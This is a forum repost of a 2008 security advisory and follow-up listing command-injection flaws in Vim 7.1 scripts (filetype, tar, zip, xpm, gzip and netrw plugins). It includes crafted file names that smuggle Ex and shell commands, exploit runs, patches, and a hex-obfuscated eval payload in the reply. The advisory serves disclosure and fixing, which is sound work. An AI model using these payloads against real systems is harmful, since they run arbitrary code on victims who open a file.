Likes Likes:  0
Resultaten 1 tot 2 van de 2
Geen
  1. #1
    =?UTF-8?Q?Jan_Min=C3=A1=C5=99?=
    Collection of Vulnerabilities in Fully Patched Vim 7.1
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Collection of Vulnerabilities in Fully Patched Vim 7.1

    1. Summary

    Product : Vim -- Vi IMproved
    Version : Tested with 7.1.314 and 6.4
    Impact : Arbitrary code execution
    Wherefrom: Local and remote
    Original : http://www.rdancer.org/vulnerablevim.html

    Improper quoting in some parts of Vim written in the Vim Script can lead to
    arbitrary code execution upon opening a crafted file.


    2. Overview

    ``Vim is an almost compatible version of the UNIX editor Vi. Many new features
    have been added: multi-level undo, syntax highlighting, command line history,
    on-line help, spell checking, filename completion, block operations, etc.''
    -- VIM 7.1 README.txt

    Parts of Vim are written in the Vim script language. A feature of this
    language widely used in the Vim code is the ``execute'' command, an equivalent
    of ``eval'' in some other languages. Throughout Vim, arguments passed to
    ``execute'' are not sanitized properly. This can lead to arbitrary code
    execution. We will show several exploits which execute arbitrary code upon
    opening a crafted file with the ex(1), vim(1), or view(1) commands. Only in
    few cases will we explore the possibility of remote exploitation. We will
    present fixes/workarounds to some of the vulnerabilities.

    The archive with code that is a part of this advisory can be found at
    ``http://www.rdancer.org/vulnerablevim.tar.bz2''.


    3. Details

    3.0. Vim version

    In this advisory, we analyse Vim version 7.1.298.


    3.1. Vim Script in Vim

    ``The Vim script language is used for the startup vimrc file, syntax files, and
    many other things.''
    -- Vim User Manual, Chapter 41 (usr_41.txt)

    How much is Vim Script used throughout Vim?

    $ find /usr/local/share/vim -type f -name \*.vim | wc -l
    1037
    $ find /usr/local/share/vim -type f -name \*.vim -exec cat {} \; \
    | wc 2>/dev/null
    149617 710299 6502709



    3.2. The ``execute'' command

    :exe[cute] {expr1} .. Executes the string that results from the evaluation
    of {expr1} as an Ex command.
    -- Vim Reference Manual (eval.txt)

    ``execute'' is similar e.g. to the ``eval'' command of the POSIX shell. As Vim
    Script doesn't allow variables as arguments to commands, only literals,
    ``execute'' is very popular:

    let a = "vim"
    execute "setfiletype" a " Alternative is cumbersome
    let b = "/path/to/foo"
    execute "split" b " No alternative

    Now whereas the setfiletype line can be written as:

    if !did_filetype()
    let &l:filetype = a
    endif

    There is no alternative for the split command -- execute must be used. Which
    is a pity, because we might not even necessarily have control over the file
    name[1] . Symlinks or shell redirection might be used as a workaround.


    3.3. Quoting in Vim Script

    There is no way to quote Ex command arguments transparently. When sanitizing
    an argument for shell's ``eval'' command, one can simply prepend all single
    quotes with a backslash, prepend and append a single quote, and that's it. In
    Vim, this algorithm has been recently introduced in the form of the
    shellescape() function[2]:

    $ ex
    Entering Ex mode. Type "visual" to go to Normal mode.
    :let fmt = "%l o'clock"
    :let fmt_escape = shellescape (fmt)
    :echo fmt_escape
    '%l o'\''clock'
    :echo system ("date +" . fmt_escape)
    6 o'clock

    Sanitizing an argument of an Ex command in a generic way is not going to be
    that easy.


    3.3.1. Three Character Classes

    Ex commands don't accept strings for arguments, only bare-words. In other
    words, there is just one level of quoting. It is possible to quote individual
    characters by prepending a backslash. As we can learn in the Vim Reference
    Manual (``cmdline.txt'') we can divide the characters in three classes --
    characters that are treated specially :

    (1) *unless* preceded by a backslash
    (2) *when* preceded by a backslash
    (3) when preceded by a *quoted* backslash


    Example:

    Command File written
    ------------------------------
    :write % Current file name
    :write \% %
    :write \\% \%

    So, now we have to write a piece of code that knows which class the characters
    belong to, and quote them accordingly, right? Not really.

    There is a plethora of characters treated in a special way by Vim commands.
    Treatment varies with context. We haven't found a comprehensive description
    which characters are treated specially by which commands, in which way.


    3.4. Vulnerabilities

    3.4.1. Statistics

    How many Vim Scripts use ``execute''?:

    $ find /usr/local/share/vim -type f -name \*.vim -exec grep -l
    '\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | wc -l
    159

    How many ``execute'' statements are there?:

    $ find /usr/local/share/vim -type f -name \*.vim -exec grep -h
    '\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | wc -l
    991

    Without comments:

    $ find /usr/local/share/vim -type f -name \*.vim -exec grep -h
    '\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | grep -v '^[[:blank:]]*"' |
    wc -l
    901


    3.4.2. Exploits

    All the exploits are created using the accompanying Makefiles in the respective
    subdirectories. When open in vim (or ex, view), the exploits create a file
    called ``pwned'' in the current directory. To create all the exploits in a
    certain subdirectory, run ``make all'' in that subdirectory. See the respective
    Makefile sources for details.

    It is also possible to use the Makefile in the root directory of this archive.
    To test all the exploits, run ``make test''. On an unpatched system, this
    will print a lot of output, and then show a nice table at the end:

    $ make test
    <snip>
    -------------------------------------------
    -------- Test results below ---------------
    -------------------------------------------
    filetype.vim
    strong : VULNERABLE
    weak : VULNERABLE
    zipplugin : VULNERABLE
    xpm.vim
    xpm : VULNERABLE
    xpm2 : VULNERABLE
    remote : VULNERABLE
    gzip_vim : VULNERABLE
    netrw : VULNERABLE

    Let's approach each vulnerability one by one. Each vulnerability section can
    be read independently of the others, and some of the information is therefore
    repeated.


    3.4.2.1. filetype.vim (the ``weak'' exploit)

    Because this vulnerability requires the exploit file name to contain the
    payload, we have called this the ``weak'' exploit.


    3.4.2.1.1. Vulnerability

    Exploits the execute statements at filetype.vim lines 20, 25 or 31:
    19 au BufNewFile,BufRead
    ?\+.orig,?\+.bak,?\+.old,?\+.new,?\+.rpmsave,?\+.r pmnew
    *20 \ exe "doau filetypedetect BufRead " . expand("<afile>")
    21 au BufNewFile,BufRead *~
    22 \ let s:name = expand("<afile>") |
    23 \ let s:short = substitute(s:name, '\~$', '', '') |
    24 \ if s:name != s:short && s:short != "" |
    *25 \ exe "doau filetypedetect BufRead " . s:short |
    26 \ endif |
    27 \ unlet s:name |
    28 \ unlet s:short
    29 au BufNewFile,BufRead ?\+.in
    30 \ if expand("<afile>:t") != "configure.in" |
    *31 \ exe "doau filetypedetect BufRead " . expand("<afile>") |
    32 \ endif

    A (modified) file name is used as an argument to the ``execute'' command
    without proper quoting. Crafted file name can be used to execute arbitrary Vim
    Shell commands. Content of the file is not important.


    3.4.2.1.2. Exploit

    $ cd filetype.vim
    $ EXPLOIT_FLAVOUR=weak make -s clean sploit
    $ readlink exploit
    sploit/README-|so%~
    $ ls pwned
    ls: cannot access pwned: No such file or directory
    $ vim "`readlink exploit`"
    [ Observe the file looks quite normal ]
    $ ls pwned
    pwned


    3.4.2.1.3. Fix

    We attempted a fix along the lines of:

    let badchars = "\" |%#\n\t!<"
    [...]
    \ exe "doau filetypedetect BufRead " . escape(expand("<afile>"), badchars)

    We were not confident we have identified all the metacharacters that need
    quoting, or at least all the characters that must not have been quoted (so we
    could quote all the rest).


    3.4.2.1.3. Workaround

    Comment out affected statements in ``filetype.vim''.

    -- autocommand triggered by filename matching pattern (i.e. having the
    right extension)
    -- possible to create valid syntax
    -- menu.lst won't work in usual locations


    3.4.2.2. filetype.vim (the ``strong'' exploit)

    Because this vulnerability works with an innocuously looking filename,
    we have called this the ``strong'' exploit.


    3.4.2.2.1. Vulnerability

    Exploits absent sanitization on line 190, followed by the execute statements at
    filetype.vim lines 181 or 1267:

    The code looks in the first five lines for a statement of the form
    ``asmsyntax=FOO'', where FOO can contain any characters except Tab and Space.
    FOO is then executed, without any sanitization.

    187 let head = " ".getline(1)." ".getline(2)." ".getline(3)." ".getline(4).
    188 \" ".getline(5)." "
    189 if head =~ '\sasmsyntax=\S\+\s'
    *190 let b:asmsyntax = substitute(head,
    '.*\sasmsyntax=\(\S\+\)\s.*','\1', "")
    [... logical flow of the code then jumps to line 181 ...]
    *181 exe "setf " . b:asmsyntax
    [... or line 1267 ...]
    *1267 exe "setf " . b:asmsyntax

    In ``filetype.vim'', there are twelve other (non-exploitable) occurrences of
    the ``exe "setf " . some_variable'' idiom:

    $ grep '"setf ' filetype.vim
    \ exe "setf " . g:filetype_asa |
    \ exe "setf " . g:filetype_asp |
    exe "setf " . b:asmsyntax
    exe "setf " . a:alt
    \ exe "setf " . g:filetype_prg |
    exe "setf " . g:filetype_m
    exe "setf " . g:filetype_pl
    exe "setf " . g:filetype_inc
    exe "setf " . b:asmsyntax
    exe "setf " . g:filetype_w
    exe "setf " . g:filetype_i
    exe "setf " . g:filetype_p
    exe "setf " . a:name
    exe "setf " . g:filetype_sql


    3.4.2.2.2. Exploit

    $ cd filetype.vim
    $ EXPLOIT_FLAVOUR=strong make -s clean sploit
    $ readlink exploit
    sploit/menu.lst
    $ ls pwned
    ls: cannot access pwned: No such file or directory
    $ vim "`readlink exploit`"
    [ Observe the file is an ordinary menu.lst -- or is it ]
    $ ls pwned
    pwned

    The exploit is a valid grub menu.lst, and also a valid Vim Script file. When
    open in Vim (view, ex), the payload is hidden. The exploit will not work when
    placed in ``/boot/grub''. This is because ``filetype.vim'' treats
    ``/boot/grub/menu.lst'' specially (``filetype.vim'' line 154).


    3.4.2.2.3. Remote exploit

    We had to alter the payload, because (1) we can't source the remote file
    directly, and (2) the payload is executed twice. The payload is written to a
    temporary file, which is then sourced.

    $ cd filetype.vim
    $ make -s clean sploit-remote http-server
    $ fuser -n tcp 31337/tcp
    31337/tcp: 20190
    $ ls pwned
    ls: cannot access pwned: No such file or directory
    $ vim http://localhost:31337/"`readlink exploit`"
    [ Edit, enjoy, quit ]
    $ ls pwned
    pwned

    ``make test-remote'' and ``make demo-remote'' automate the process.


    3.4.2.2.4. Fix

    Apply the following patch:

    --- /usr/local/share/vim/vim71/filetype.vim 2007-07-20 19:32:34.000000000 +0100
    +++ filetype.vim 2007-08-05 23:01:49.000000000 +0100
    @@ -178,16 +178,19 @@
    endif
    endif

    - exe "setf " . b:asmsyntax
    + if !did_filetype()
    + let &l:filetype = b:asmsyntax
    + endif
    endfunc

    func! s:FTasmsyntax()
    + let l:badchars = "/\\*?[|<> \t"
    " see if file contains any asmsyntax=foo overrides. If so, change
    " b:asmsyntax appropriately
    let head = " ".getline(1)." ".getline(2)." ".getline(3)." ".getline(4).
    \" ".getline(5)." "
    - if head =~ '\sasmsyntax=\S\+\s'
    - let b:asmsyntax = substitute(head, '.*\sasmsyntax=\(\S\+\)\s.*','\1', "")
    + if head =~ '\sasmsyntax=[^'.l:badchars.']\+\s'
    + let b:asmsyntax = substitute(head,
    '.*\sasmsyntax=\([^'.l:badchars.']\+\)\s.*','\1', "")
    elseif ((head =~? '\.title') || (head =~? '\.ident') || (head =~?
    '\.macro') || (head =~? '\.subtitle') || (head =~? '\.library'))
    let b:asmsyntax = "vmasm"
    endif
    @@ -1264,7 +1267,9 @@
    else
    call s:FTasmsyntax()
    if exists("b:asmsyntax")
    - exe "setf " . b:asmsyntax
    + if !did_filetype()
    + let &l:filetype = b:asmsyntax
    + endif
    else
    setf pov
    endif

    The if-clause is equivalent to ``setfiletype b:asmsyntax'' (if that were valid
    syntax) -- cf. ``:help setfiletype''.

    The sanitization added is based on Vim Reference Manual options.txt, which says
    about the 'syntax' option: ``Only normal file name characters can be used,
    "/\*?[|<>" are illegal.'' It is possible that there are systems on which a
    stricter check is required. A check against a fixed list of possible values
    would be nice, but what if there are user-defined syntax files? -- Could we get
    a list of valid values for an option somehow (portably)?


    3.4.2.3. tar.vim

    ``When one edits a *.tar file, this plugin will handle displaying a
    contents page. Select a file to edit by moving the cursor atop
    the desired file, then hit the <return> key. After editing, one may
    also write to the file. Currently, one may not make a new file in
    tar archives via the plugin.''

    -- Vim online help (``pi_tar.txt'')


    3.4.2.3.1. Vulnerability

    File name is used in ``execute'' and ``system()'' commands without proper
    sanitization. Opening a tarball with a crafted file name can lead to arbitrary
    code execution. Following are some of the vulnerable statements of
    ``tar.vim''. This list is probably incomplete:

    99 exe "$put ='".'\"'." Browsing tarfile ".a:tarfile."'"
    107 let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e')
    112 exe "silent r! gzip -d -c ".g:tar_shq.tarfile.g:tar_shq."|
    ".g:tar_cmd." -".g:tar_browseoptions." - "
    115 exe "silent r! bzip2 -d -c ".g:tar_shq.tarfile.g:tar_shq."|
    ".g:tar_cmd." -".g:tar_browseoptions." - "
    118 exe "silent r! ".g:tar_cmd." -".g:tar_browseoptions."
    ".g:tar_shq.tarfile.g:tar_shq
    134 exe "r ".a:tarfile
    169 let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e')
    192 let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e')
    199 exe "silent r! gzip -d -c ".g:tar_shq.tarfile.g:tar_shq."|
    ".g:tar_cmd." -".g:tar_readoptions." - '".fname."'"
    202 exe "silent r! bzip2 -d -c ".g:tar_shq.tarfile.g:tar_shq."|
    ".g:tar_cmd." -".g:tar_readoptions." - '".fname."'"
    205 exe "silent r! ".g:tar_cmd." -".g:tar_readoptions."
    ".g:tar_shq.tarfile.g:tar_shq." ".g:tar_shq.fname.g:tar_shq
    208 exe "file tarfile:".fname
    278 call system("gzip -d ".tarfile)
    282 call system("gzip -d ".tarfile)
    287 call system("bzip2 -d ".tarfile)
    303 let dirpath = substitute(system("cygpath ".dirpath),'\n','','e')
    312 exe "w! ".fname
    314 let tarfile = substitute(system("cygpath ".tarfile),'\n','','e')
    319 call system("tar --delete -f '".tarfile."' '".fname."'")
    335 call system(compress)
    351 exe "e! ".tarfile

    All the arguments in these statements are derived from the tarball file name,
    with insufficient or absent sanitization.


    3.4.2.3.2. Exploit

    We exploit the statement on the line 99, with a crafted file name. The tarball
    gets sourced. The tarball is also a valid Vim Script file. Its contents is
    arbitrary, as long as the exploit payload is the first archive member.

    $ cd tarplugin
    $ make -s clean sploit
    $ readlink exploit
    sploit/foo'|so%|retu|'bar.tar
    $ file -L exploit
    sploit/foo'|so%|retu|'bar.tar: POSIX tar archive
    $ ls pwned
    ls: cannot access pwned: No such file or directory
    $ vim "`readlink exploit`"
    [ Observe the file works like an ordinary tarball would ]
    $ ls pwned
    pwned

    For your convenience, running running ``make demo'' and ``make test'' in the
    tarplugin directory will do all the hard work in an interactive, and
    non-interactive way, respectively, and tell you whether the exploit has worked.


    3.4.2.3.3. Fix

    The exploit includes a modified ``tar.vim'' and ``tarPlugin.vim'', fixed as
    much as was needed for the exploit to work.


    3.4.2.4. zip.vim

    ``When one edits a *.zip file, this plugin will handle displaying a
    contents page. Select a file to edit by moving the cursor atop
    the desired file, then hit the <return> key. After editing, one may
    also write to the file. Currently, one may not make a new file in
    zip archives via the plugin.''

    -- Vim online help (``pi_zip.txt'')

    ``tar.vim'' and ``zip.vim'' share code and vulnerabilities, and our exploit
    works in a similar manner. This exploit is not full-featured -- as we've shown
    with ``tar.vim'', this wouldn't be difficult to achieve.


    3.4.2.4.1. Vulnerability

    As with ``tar.vim'', there are many execute statements using an insufficiently
    quoted file name as an argument. We exploit the same statement as with
    ``tar.vim'' (line 93):

    93 exe "$put ='".'\"'." Browsing zipfile ".a:zipfile."'"


    3.4.2.4.2. Exploit

    Our exploit is not feature-full -- we can open the file and see the contents
    listing, but an attempt to open a member, etc., will fail with an error.
    Completing the exploit would be just a matter of adapting from our ``tar.vim''
    exploit.

    $ cd zipplugin
    $ make -s clean sploit
    $ readlink exploit
    sploit/foo'|so%|retu|'bar.zip
    $ file -L exploit
    sploit/foo'|so%|retu|'bar.zip: Zip archive data, at least v1.0 to extract
    $ ls pwned
    ls: cannot access pwned: No such file or directory
    $ vim "`readlink exploit`"
    Error detected while processing
    /home/rdancer/vuln/vim71/zipplugin/sploit/foo'|so%|retu|'bar.zip:
    line 1:
    E492: Not an editor command: PK^C^D
    [ Observe the file works like an ordinary tarball would ]
    $ ls pwned
    pwned

    The error is caused by the zip file magic number. It doesn't stay on the
    screen for too long though. We could get rid of the error by replacing the
    very first character of the file (the capital P) with a double quote ("), at
    the cost of creating a non-valid zip file. Set the environment variable
    EXPLOIT_ZIP_INVALID to ``invalid'' while running ``make sploit'':

    $ EXPLOIT_ZIP_INVALID=invalid make sploit

    unzip(1) doesn't have a problem working with such file, and neither does Vim.

    For your convenience, running ``make demo'' and ``make test'' in the zipplugin
    directory will do all the hard work in an interactive, and non-interactive way,
    respectively, and tell you whether the exploit has worked.


    3.4.2.4.3. Fix

    The exploit includes a modified ``zip.vim'' and ``zipPlugin.vim'', fixed as
    much as was needed for the exploit to work.


    3.4.2.5. xpm.vim and xpm2.vim

    ``xpm.vim'' and ``xmp2.vim'' provide syntax highlighting for X pixmaps. The
    syntax file is loaded for filenames matching *.pm, *.xpm and *.xpm2 (see
    ``filetype.vim'' for details). The vulnerable code is executed when Vim runs
    in graphic mode (gvim(1), ``vim -g'').


    3.4.2.5.1. Vulnerability

    We exploit the insufficient sanitization and subsequent execution of a string
    taken from the file contents:

    xpm.vim:32 let s = matchstr(getline(i), '".\{-1,}"')
    xpm.vim:[...]
    xpm.vim:43 exe 'syn match xpmValues /'.s.'/'

    xmp2.vim:41 let s = getline(i)
    xmp2.vim:42 if match(s,"\!.*$") != -1
    xmp2.vim:43 let s = matchstr(s, "^[^\!]*")
    xmp2.vim:[...]
    xmp2.vim:55 exe 'syn match xpm2Values /'.s.'/'

    This might be or might not be the only such vulnerability within ``xpm.vim''
    and ``xpm2.vim''.


    3.4.2.5.2. Exploit

    Note that Vim must be run in graphic mode for the exploit to work, as the
    vulnerable code branch is not run otherwise. The exploit for ``xpm.vim'' is a
    valid X pixmap. The exploit for `xpm2.vim'' is not.

    $ cd xpm.vim
    $ make -s clean sploit
    $ readlink exploit
    sploit/exploit.xpm
    $ file -L exploit
    exploit: X pixmap image text
    $ ls pwned
    ls: cannot access pwned: No such file or directory
    $ vim -g "`readlink exploit`"
    [ Edit, enjoy, quit ]
    $ ls pwned
    pwned

    For your convenience, running ``make demo'' and ``make test'' in the xpm.vim
    directory will do all the hard work in an interactive, and non-interactive way,
    respectively, and tell you whether the exploit has worked.

    For the ``xpm2.vim'' exploit, set the ``EXPLOIT_FLAVOUR'' environment
    variable to ``xpm2'' when running ``make sploit'':

    $ EXPLOIT_FLAVOUR=xpm2 make -s clean sploit

    You may also use ``make all'' to make all the extensions.

    3.4.2.5.3. Remote exploit

    In order to exploit remotely, we have had to change our exploitation technique.
    ``source %'' doesn't work, as it's apparently not possible to source a http://
    file from within the ``xpm.vim'' script. Without investigating further, we
    altered the ``xpm.vim'' exploit. Adapting the ``xpm2.vim'' exploit and the
    other exploits probably is possible.

    $ cd xpm.vim
    $ make -s clean sploit http-server
    $ fuser -n tcp 31337/tcp
    31337/tcp: 20190
    $ ls pwned
    ls: cannot access pwned: No such file or directory
    $ vim -g http://localhost:31337/"`readlink exploit`"
    [ Edit, enjoy, quit ]
    $ ls pwned
    pwned

    For your convenience, running ``make demo-remote'' and ``make test-remote'' in
    the xpm.vim directory will do all the hard work in an interactive, and
    non-interactive way, respectively, and tell you whether the exploit has worked.


    3.4.2.6. gzip.vim

    ``The plugin installs autocommands to intercept reading and writing of files
    with these extensions: [...] *.Z [...] *.gz [...] *.bz2''

    -- Vim Reference Manual (pi_gzip.txt)

    3.4.2.6.1. Vulnerability

    ``autoload/gzip.vim'' lines 128 and 130 use modified file name in an argument
    to ``execute'' without proper sanitization or quoting:

    127 if &verbose >= 8
    *128 execute "doau BufReadPost " . expand("%")
    129 else
    *130 execute "silent! doau BufReadPost " . expand("%")
    131 endif


    3.4.2.6.2. Exploit

    The contents of the file is arbitrary. The exploit uses the archive filename,
    and the original filename stored within the archive (we should use the comment
    field ideally). The exploit is a valid gzip file, and a Vim Script containing
    non-fatal errors. We use the ``silent!'' command in the file name to suppress
    the error messages.

    $ cd gzip_vim
    $ make -s clean sploit
    $ readlink exploit
    sploit/foo|sil!so%"bar.gz
    $ file -L exploit
    exploit: gzip compressed data, was "", from Unix, last modified: Fri
    Aug 10 01:49:28 2007
    $ ls pwned
    ls: cannot access pwned: No such file or directory
    $ vim "`readlink exploit`"
    [ The file contents really can be anything ]
    $ ls pwned
    pwned

    For your convenience, running ``make demo'' and ``make test'' in the gzip_vim
    directory will do all the hard work in an interactive, and non-interactive way,
    respectively, and tell you whether the exploit has worked.


    3.4.2.7. Netrw

    ``Netrw makes reading, writing, and browsing over a network connection easy!
    [...] Netrw supports "transparent" editing of files on other machines using
    urls [...]''

    -- Netrw Reference Manual (pi_netrw.txt)


    3.4.2.7.1. Vulnerability

    Opening file with a crafted name from the Netrw directory listing leads to
    arbitrary code execution.

    Netrw (.../runtime/autoload/netrw.vim) uses unsound constructs in many places
    -- see the source in We exploit the statement on line 2202. The ``dirname''
    variable contains the name of the file to be opened, while
    ``s:netrw_cd_escape'' is set earlier on line 308.:

    308 let s:netrw_cd_escape="[]#*$%'\" ?`!&();<>\\"
    [...]
    *2202 exe "e! ".escape(dirname,s:netrw_cd_escape)

    The escape() fails in its apparent purpose of sanitizing ``dirname'', because
    ``s:netrw_cd_escape'' is incomplete.


    3.4.2.7.2. Exploit

    $ cd netrw
    $ make -s clean sploit
    $ readlink exploit | cat -vT
    ./sploit/pi_netrw.txt^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I ^I|ne
    w|norm^Ii:q^Vx21^[o:so^Vx25^Vx2a^[ggyG@0
    $ ls pwned
    ls: cannot access pwned: No such file or directory
    $ vim "`dirname "\`readlink exploit\`"`"
    [ Place cursor on ``pi_netrw.txt''. Press <Return>, 'P' or 'o']
    [ Observe that the file looks more or less normal ]
    $ ls pwned
    pwned

    For your convenience, running ``make demo'' and ``make test'' in the netrw
    directory will do all the hard work in an interactive, and non-interactive way,
    respectively, and tell you whether the exploit has worked.

    For details on the exploit construction, see the file ``exploit_name''.

    Note: ``make test'' may hang when run from within vim.


    3.4.3. Documentation

    We have not seen the insecure properties of ``execute'' mentioned in Vim
    documentation. To the contrary, ``execute'' is being used without precautions
    throughout. For example, in ``eval.txt'', a file name is passed to ``execute''
    insecurely:

    7238 :function! Write(file)
    7239 : try
    *7240 : execute "write" a:file


    4. Footnotes

    [1] Really a URL -- local file path without a scheme is a special case; we
    haven't explored remote issues, but they might be interesting.

    [2] shellescape() was introduced in patch 7.0.111, and is not used at all as
    of version 7.1.298. Naive quoting is in being used instead, throughout the
    code. A typical example from the ``netrwFileHandlers.vim'' file:

    *99 exe "!mozilla ".g:netrw_shq.page.g:netrw_shq

    ``g:netrw_shq'' being the shell quoting character of choice, a single or a
    double quote.


    5. Copyright

    This advisory is Copyright 2008 Jan Minar <rdancer@rdancer.org>

    Copying welcome, under the Creative Commons ``Attribution-Share Alike'' License
    http://creativecommons.org/licenses/by-sa/2.0/uk/

    Code included herein, and accompanying this advisory, may be copied according to
    the GNU General Public License version 2, or the Vim license. See the
    subdirectory ``licenses''.

    Various portions of the accompanying code were written by various parties.
    Those parties may hold copyright, and those portions may be copied according
    to the respective licenses.


    6. History

    2008-05-13 Sent to bugs@vim.org, announcing intent to release publicly
    by 2008-06-13
    2008-05-14 Reply from Vim maintainer
    2008-06-13 Sent to: <full-disclosure@lists.grok.org.uk>,
    <bugtraq@securityfocus.com>, <vim_dev@googlegroups.com>
    Copy to: <bugs@vim.org>


  2. #2
    =?UTF-8?Q?Jan_Min=C3=A1=C5=99?=
    Collection of Vulnerabilities in Fully Patched Vim 7.1
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Collection of Vulnerabilities in Fully Patched Vim 7.1

    On Sat, Jun 14, 2008 at 2:09 PM, Bram Moolenaar <Bram@moolenaar.net> wrote:
    >
    > Jan Minar wrote:
    >
    >> 1. Summary
    >>
    >> Product : Vim -- Vi IMproved
    >> Version : Tested with 7.1.314 and 6.4
    >> Impact : Arbitrary code execution
    >> Wherefrom: Local and remote
    >> Original : http://www.rdancer.org/vulnerablevim.html
    >>
    >> Improper quoting in some parts of Vim written in the Vim Script can lead to
    >> arbitrary code execution upon opening a crafted file.


    > Note that version 7.1.314, as reported in the Summary, does not have
    > most of the reported problems. The problems in the plugins have also
    > been fixed, this requires updating the runtime files. Information about
    > that can be found at http://www.vim.org/runtime.php


    I do apologize: as written in the advisory, the version I worked with
    was 7.1.298. 7.1.314 was only partly vulnerable. FWIW, I have
    updated the advisory at http://www.rdancer.orgvulnerablevim.html .

    Thanks to Bram for all the good work.

    7.2a.10 with updated runtime is still vulnerable to the zipplugin
    attack, and an updated tarplugin attack:

    -------------------------------------------
    -------- Test results below ---------------
    -------------------------------------------
    filetype.vim
    strong : EXPLOIT FAILED
    weak : EXPLOIT FAILED
    tarplugin : EXPLOIT FAILED
    tarplugin.updated: VULNERABLE
    zipplugin : VULNERABLE
    xpm.vim
    xpm : EXPLOIT FAILED
    xpm2 : EXPLOIT FAILED
    remote : EXPLOIT FAILED
    gzip_vim : EXPLOIT FAILED
    netrw : EXPLOIT FAILED

    The original tarplugin exploit now produces a string of telling error messages:

    /bin/bash: so%: command not found
    tar: /home/rdancer/vuln/vim/tarplugin/sploit/foo'|sosploit/foo:
    Cannot open: No such file or directory
    tar: Error is not recoverable: exiting now
    /bin/bash: retu: command not found
    /bin/bash: bar.tar|retu|'bar.tar: command not found

    It's easy to see that it is still possible to execute arbitrary shell commands.

    $VIMRUNTIME/autoload/tar.vim of Vim 7.2a.10:

    136 if tarfile =~# '\.\(gz\|tgz\)$'
    137 " call Decho("1: exe silent r! gzip -d -c
    ".s:Escape(tarfile)." | ".g:tar_cmd." -".g:tar_browseoptions." - ")
    *138 exe "silent r! gzip -d -c -- ".s:Escape(tarfile)." |
    ".g:tar_cmd." -".g:tar_browseoptions." - "
    139 elseif tarfile =~# '\.lrp'
    140 " call Decho("2: exe silent r! cat --
    ".s:Escape(tarfile)."|gzip -d -c -|".g:tar_cmd."
    -".g:tar_browseoptions." - ")
    *141 exe "silent r! cat -- ".s:Escape(tarfile)."|gzip -d -c
    -|".g:tar_cmd." -".g:tar_browseoptions." - "
    142 elseif tarfile =~# '\.bz2$'
    143 " call Decho("3: exe silent r! bzip2 -d -c
    ".s:Escape(tarfile)." | ".g:tar_cmd." -".g:tar_browseoptions." - ")
    *144 exe "silent r! bzip2 -d -c -- ".s:Escape(tarfile)." |
    ".g:tar_cmd." -".g:tar_browseoptions." - "
    145 else
    146 " call Decho("4: exe silent r! ".g:tar_cmd."
    -".g:tar_browseoptions." ".s:Escape(tarfile))
    **147 exe "silent r! ".g:tar_cmd." -".g:tar_browseoptions."
    ".s:Escape(tarfile)
    [...]
    444 fun s:Escape(name)
    445 " shellescape() was added by patch 7.0.111
    446 if exists("*shellescape")
    447 let qnameq= shellescape(a:name)
    448 else
    449 let qnameq= g:tar_shq . a:name . g:tar_shq
    450 endif
    451 return qnameq
    452 endfun

    (*) s:Escape() does not suffice, as it fails to escape ``%'' and friends.

    (**) tar(1) allows arbitrary command execution via options ``--to-command'',
    and ``--use-compress-program''.


    The updated tarplugin attack is rather simple:

    $ rm -rf ./*
    $ touch "foo%;eval eval \`echo 0:64617465203e2070776e6564 |
    xxd -r\`;'bar.tar"
    $ vim +:q ./foo*
    $ ls -l pwned
    -rw-r--r-- 1 rdancer users 29 2008-07-01 20:18 pwned

    Cheers,
    Jan Minar.


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics